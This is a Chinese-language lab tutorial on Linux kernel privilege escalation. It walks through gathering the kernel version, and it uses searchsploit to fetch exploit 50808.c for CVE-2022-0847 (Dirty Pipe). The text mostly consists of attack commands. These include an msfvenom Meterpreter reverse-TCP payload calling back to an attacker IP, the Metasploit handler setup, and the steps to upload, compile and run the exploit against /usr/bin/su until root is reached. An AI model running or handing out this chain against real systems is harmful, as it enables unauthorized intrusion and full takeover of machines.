Linux 内核提权
Linux 内核提权原理
内核提权是利用Linux内核的漏洞进行提权的,内核漏洞进行提权一般包括三个环节:
1、对目标系统进行信息收集,获取到系统内核信息及版本信息;
2、根据内核版本获取其对应的漏洞以及EXP
3、使用找到的EXP对目标系统发起攻击,完成提权操作
查看Linux操作系统的内核版本和相关信息
cat /etc/issue 查看ubuntu或者centos的版本
cat /etc/*-release 查看centos版本
uname -a 查看系统全部信息
uname -r 查看内核版本
EXP该怎么着呢,可以用Kali去寻找,kali中自带searchsploit命令可以查找EXP,输入对应的版本号就可以查找相应的漏洞
输入 searchsploit -m 9479.c
就会自动复制该文件到当前目录
提权环境
本次实验使用Ubuntu 20.04,内核版本是5.10版本的
如何替换Linux版本系统内核可以看这篇文章Linux Ubuntu 20.04 LTS 更新到最新长期支持内核 v5.10.9
提取复现
使用MSF机器上线
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=3333 -f elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 3333
run
发现我们只有普通用户daoer的权限
查看对方操作系统
cat /etc/issue
cat /etc/*-release
uname -r
可以看到对方的操作系统的版本内核为5.10.10
接下来我们打开kali,去搜索一下对应的版本
发现有这么几个可以进行内核提权的CVE,我们去下载对应的代码
searchsploit -m 50808.c
发现他的CVE编号是CVE-2022-0847,我们通过百度去搜索相应的CVE编号,然后我们就可以根据网上的文章去复现使用相应的漏洞
在文章中直接找到如何使用EXP的内容,按照内容去复现就好了
由于我们下载好的文件是.c文件,需要将文件上传到目标机器上去编译,否者可能会出现一些运行环境方面的问题
upload 文件路径
编译文件
gcc -o test 50808.c
生成了一个test脚本
我们去使用这个脚本
./test /usr/bin/su
现在提升到root权限了,内核提权成功的